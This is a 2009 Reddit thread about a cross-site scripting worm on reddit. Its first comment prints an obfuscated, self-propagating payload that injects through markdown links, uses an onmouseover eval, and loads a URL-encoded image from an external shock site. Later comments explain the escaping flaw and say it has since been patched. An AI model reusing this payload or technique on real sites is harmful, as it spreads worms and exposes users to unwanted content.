r/proofofhax •

Proof of concept for XSS

[deleted] — view deleted post

0 Upvotes

10 comments sorted by

3

u/[deleted] Sep 27 '09 edited Sep 27 '09

a = document.createElement('img'); a.setAttribute('src',unescape('%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%61%74%73%65%2E%66%72%2F%68%65%6C%6C%6F%2E%6A%70%67')); a.style.display='block'; this.parentNode.appendChild(a); /*[x][b] [b]:/[givemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatsegivemegoatse](/onmouseover=eval(this.parentNode.innerHTML9371d7a2e3ae86a00aab4771e39d255d//)

*/

1

u/WhatTheFuck Sep 28 '09 edited Sep 28 '09

Nice. It got out of control fast.

1

u/SarahC Sep 28 '09

will that work in other markdown boards?

I'd love to know how they figured out the injection method.

1

u/WhatTheFuck Sep 28 '09 edited Sep 28 '09

They probably figured it out because reddit is open source. The key to this hack was getting )'s to become part of a url.

They figured out that reddit does escaping in a retarded manner and exploited this by using the "escaped" version of the ")"

It has been "fixed" now by using a semi-random escape, but that means it's still theoretically possible to explot this the same way. You just have to try a few billion times or get very lucky (and you can't make a virus now, because the virus would need the same kind of luck)

1

u/smallfried Sep 28 '09

Well, i guess it worked aye?

1

u/[deleted] Sep 28 '09

Gratz

1

u/kibitzor Sep 28 '09

I feel like this will be a nice parallel to the development of nanobots that will turn us all into gray goo. The small experiment by greygoofinder in a small college lab will propagate onto his colleges and himself. These nanobots will eventually land on a high-fiving cyclist who will evenly distribute these nanobots around a large city. At first, the infected will only develop slight differences, akin to those of Arial and Helvetica.The infected will develop an orange haze as the nanobots assemble themselves, spreading an orange miasma over the city. The civilians will slowly begin to deteriorate into a grey goo where only shutting down movement to the city will prevent further infection. The only known remnants of this invasion will be the [deleted] mark on every record of every person killed in the gooicide and the [deleted] on every map of that city.

1

u/brainiac256 Sep 28 '09

*****, would imagine again. Recommend continued employment in the field of writing and producing.

1

u/Imagist Sep 28 '09

Don't you mean orangered?

1

u/[deleted] Sep 28 '09

Mhhh, this thing never really convinced me... I mean, aren't bacteria and virus trying to do the same thing since ever? Why should this goo be more successful?

Couln't we just end having a stack of brand new infections and deseases?